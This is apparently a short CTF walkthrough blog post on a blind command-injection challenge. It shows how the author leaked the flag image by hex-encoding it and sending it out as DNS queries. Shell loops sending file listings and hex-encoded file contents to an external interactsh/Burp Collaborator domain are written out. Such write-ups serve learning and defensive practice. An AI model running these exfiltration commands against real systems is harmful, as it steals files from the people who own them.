Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
204 words
1 minute
cat flag.png | Connectors Ctf 2025

Table of Contents#


Challenge Overview#

Any command you run works, but the problem is it doesn’t return any result — it only returns successfully or Error .


Discovering the Exfiltration Vector#

That means we can’t see the flag directly, but we can send it outside. Tried wget — gives error but reaches destination. That means we can exfiltrate data over DNS.

Reference: PayloadsAllTheThings - DNS Exfiltration


Listing Files via DNS#

for i in $(ls) ; do host "$i.BURPCOLAB"; done

Files exfiltrated via subdomain. Flag is an image file.


Extracting the Image via DNS Queries#

But the problem is how to extract an image via DNS queries. After a little research I figured it out. Can’t send binary over DNS directly — must encode to DNS-safe charset (A-Z, 0-9, hyphens).

Encoding & Sending the Image#

xxd -p flag.png | while read line; do
nslookup "$line.yrjutqrbrnprfvffbtyzfxu3.oast.fun"
done

Used interactsh instead of Burp — easier to extract subdomains and reconstruct image.

Extracting the Hex from JSON#

Data returned as JSON. Clean and extract hex:

grep -oE '[a-f0-9]+\.yrjutqrbrnprfvffbtyzfxu3\.oast\.fun' data.json \
| awk '!seen[$0]++' \
| cut -d'.' -f1


Reconstructing the Image#

Paste hex into CyberChef → From Hex recipe.

CyberChef From Hex


Result#

cat flag.png | Connectors Ctf 2025
https://babayaga0x01.github.io/posts/ctf_walkthrough/cat-flag_png/
Author
Baba Yaga
Published at
2025-09-20
License
CC BY-NC-SA 4.0

Some information may be outdated